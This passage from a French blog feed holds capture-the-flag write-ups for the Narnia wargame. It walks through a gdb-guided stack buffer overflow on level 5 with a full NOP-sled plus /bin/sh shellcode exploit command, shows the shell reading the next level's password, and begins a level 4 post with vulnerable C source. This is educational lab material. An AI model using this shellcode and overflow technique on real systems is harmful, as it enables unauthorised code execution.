New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print 'a'*124"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Illegal instruction&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$&lt;/span&gt;&lt;br /&gt;On écrase donc à 124, vérifié par:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ gdb /wargame/level5&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GNU gdb 6.4.90-debian&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Copyright (C) 2006 Free Software Foundation, Inc.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Type "show copying" to see the conditions.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;There is absolutely no warranty for GDB.&amp;nbsp; Type "show warranty" for details.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;lib/tls/i686/cmov/libthread_db.so.1".&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) run `python -c "print 'a'*124+'AAAA'"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Starting program: /wargame/level5 `python -c "print 'a'*124+'AAAA'"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0x41414141 in ?? ()&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) info reg&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xfffffe07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -505&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;edx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffc4a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1073742774&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb7fdfff4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1208090636&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffa50&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffa50&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb8000cc0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1207956288&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eip&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eflags&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x10246&amp;nbsp; [ PF ZF IF RF ]&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;cs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x73&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 115&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ss&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ds&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;es&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;fs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;gs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x33&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 51&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb)&lt;/span&gt;&lt;br /&gt;On a bien nos 'a' (\x61 dans EBP) et nos 'A' (\x41 dans EIP)&lt;br /&gt;Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1]. C'est une adresse qui ne correspondra pas à l'adresse du programme lancé sans gdb. Pourquoi? Car gdb lui aussi est en mémoire et décale donc l'ensemble vers le bas (la véritable adresse sera donc supérieure en valeur).&lt;br /&gt; Observons donc la RAM pour avoir notre première approximation:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) x/60x $esp-180&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded&lt;/span&gt;&lt;br /&gt;Donc vers 0xbffff9dc: on tape dans argv[1].&lt;br /&gt;&lt;br /&gt;Construisons donc notre argv[1]. La taille complète doit faire 128 octets. Le shellcode&amp;nbsp; de wikipedia fait 45 octets. Ma chaîne d'attaque est construite avec: 79xNOP+Shellcode+adresse(sur 4 octets)=128 octets.&lt;br /&gt;&lt;br /&gt;La première adresse que je vais tenter sera 0xbffff9dc, qui ne fonctionnera vraisemblablement pas. (Sauf si gdb a décalé moins de 79 octets). Puis je vais tenter la même adresse plus 79 octets, plus 79 octets une seconde fois etc.. jusqu'à tomber sur mes NOPs. La calculette hexa va m'aider: (4f hexa valent 79)&lt;br /&gt;&lt;br /&gt;0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc...&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\xdc\xf9\xff\xbf'"`&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Segmentation fault&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\x&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;cd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\x2b\xfa\xff\&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;xbf'"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sh-3.1$ cat /home/level6/.passwd&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;TT95n7bD&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sh-3.1$ exit&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ su - level6&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Password:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level6@narnia:~$&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Le premier SegFault est attendu, ensuite, j'avance de 79 octets et j'arrive quelque part dans mes NOPs, ce qui montre bien l'efficacité de mettre les NOP avant le shellcode. Si le shellcode était en première position, j'aurai du monter les adresses octet par octet pour trouver la bonne adresse.&lt;br /&gt;&lt;br /&gt;Cette série de challenge s'arrête ici.. intruded est down et je n'ai pas noté les codes des autres niveaux :-(&lt;br /&gt;De mémoire les autres niveaux sont des &lt;a href="http://en.wikipedia.org/wiki/Uncontrolled_format_string"&gt;format string vulnerability&lt;/a&gt;, toujours exposés de façon didactique. Le premier consiste à modifier une variable depuis un printf, les autres à faire exécuter du code toujours via des format string. Merci à intruded, c'est très intéressant!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-5900605222307050874?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/5900605222307050874/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-level5.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5900605222307050874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5900605222307050874'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-level5.html' title='Challenge sur intruded - Level5'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-4038592132760658618</id><published>2011-10-20T06:00:00.000+02:00</published><updated>2011-10-20T06:00:04.448+02:00</updated><title type='text'>Challenge sur intruded - Narnia Level4</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Retour aux exploitations de mémoire avec ce message. Le programme du niveau 4 de Narnia a attaquer est le suivant:&lt;br /&gt;&lt;div class="container"&gt;&lt;div class="line number1 index0 alt2"&gt;&lt;code class="c comments"&gt;/*&lt;/code&gt;&lt;/div&gt;&lt;div class="line number2 index1 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is free software; you can redistribute it and/or modify&lt;/code&gt;&lt;/div&gt;&lt;div class="line number3 index2 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;it under the terms of the GNU General Public License as published by&lt;/code&gt;&lt;/div&gt;&lt;div class="line number4 index3 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;the Free Software Foundation; either version 2 of the License, or&lt;/code&gt;&lt;/div&gt;&lt;div class="line number5 index4 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;(at your option) any later version.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number6 index5 alt1"&gt;&lt;/div&gt;&lt;div class="line number7 index6 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is distributed in the hope that it will be useful,&lt;/code&gt;&lt;/div&gt;&lt;div class="line number8 index7 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/code&gt;&lt;/div&gt;&lt;div class="line number9 index8 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/code&gt;&lt;/div&gt;&lt;div class="line number10 index9 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;GNU General Public License for more details.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number11 index10 alt2"&gt;&lt;/div&gt;&lt;div class="line number12 index11 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;You should have received a copy of the GNU General Public License&lt;/code&gt;&lt;/div&gt;&lt;div class="line number13 index12 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;along with this program; if not, write to the Free Software&lt;/code&gt;&lt;/div&gt;&lt;div class="line number14 index13 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA&amp;nbsp; 02110-1301&amp;nbsp; USA&lt;/code&gt;&lt;/div&gt;&lt;div class="line number15 index14 alt2"&gt;&lt;code class="c comments"&gt;*/&lt;/code&gt;&lt;/div&gt;&lt;div class="line number16 index15 alt1"&gt;&lt;/div&gt;&lt;div class="line number17 index16 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number18 index17 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;types.h/sys&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number19 index18 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;stat.h/sys&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number20 index19 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number21 index20 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number22 index21 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;string.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number23 index22 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number24 index23 alt1"&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;main(&lt;/code&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;argc, &lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;**argv){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number25 index24 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number26 index25 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt;&amp;nbsp; &lt;code class="c plain"&gt;ifd,&amp;nbsp; ofd;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number27 index26 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;ofile[16] = &lt;/code&gt;&lt;code class="c string"&gt;"/dev/null"&lt;/code&gt;&lt;code class="c plain"&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number28 index27 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;ifile[32];&lt;/code&gt;&lt;/div&gt;&lt;div class="line number29 index28 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;buf[32];&lt;/code&gt;&lt;/div&gt;&lt;div class="line number30 index29 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number31 index30 